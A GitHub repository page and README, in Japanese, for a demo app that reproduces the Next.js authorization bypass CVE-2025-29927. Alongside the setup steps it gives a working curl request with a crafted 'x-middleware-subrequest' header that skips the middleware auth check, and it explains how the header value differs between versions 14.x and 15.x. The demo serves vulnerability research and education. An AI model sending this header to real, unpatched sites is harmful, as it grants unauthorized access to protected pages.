https://github.com/t3tra-dev/cve-2025-29927-demo
Next.js における認可バイパスの脆弱性を再現するデモです。
https://github.com/t3tra-dev/cve-2025-29927-demo
cve demo nextjs vulnerability
Last synced: about 1 month ago
JSON representation
Next.js における認可バイパスの脆弱性を再現するデモです。
- Host: GitHub
- URL: https://github.com/t3tra-dev/cve-2025-29927-demo
- Owner: t3tra-dev
- Created: 2025-03-23T16:41:47.000Z (about 2 months ago)
- Default Branch: main
- Last Pushed: 2025-03-28T15:16:47.000Z (about 2 months ago)
- Last Synced: 2025-03-28T16:27:00.440Z (about 2 months ago)
- Topics: cve, demo, nextjs, vulnerability
- Language: TypeScript
- Homepage:
- Size: 55.7 KB
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# cve-2025-29927-demo
Next.js における認可バイパスの脆弱性を再現するデモです。
当該脆弱性についての詳細は **[Next.jsの脆弱性CVE-2025-29927まとめ](https://zenn.dev/t3tra/articles/c293410c7daf63)** を参照してください。
## 脆弱性の再現方法
1. このリポジトリをクローンします。
```bash
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
```2. サーバーを起動します。
```bash
npm install
npm run dev
```3. `curl` 等を用いて `x-middleware-subrequest` ヘッダーを付与したリクエストを送信します。
```bash
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
```これにより認可バイパスが発生し、`/protected` ページにアクセスできるようになります。
`middleware` の値は Next.js が認識するミドルウェアの名前です。このデモアプリでは `middleware` という名前のミドルウェアが存在しているため、この値を指定することで認可バイパスが発生します。
> [!TIP]
> Next.js 15.x では `MAX_RECURSION_DEPTH` が 5 に設定されているため、middleware の値を 5 回以上 `:` で区切って繰り返す必要があります。古いバージョン (14.x) では単に「 middleware 」だけで十分でした。このデモアプリでは Next.js 15.2.2 が使用されているため、このような値が必要です。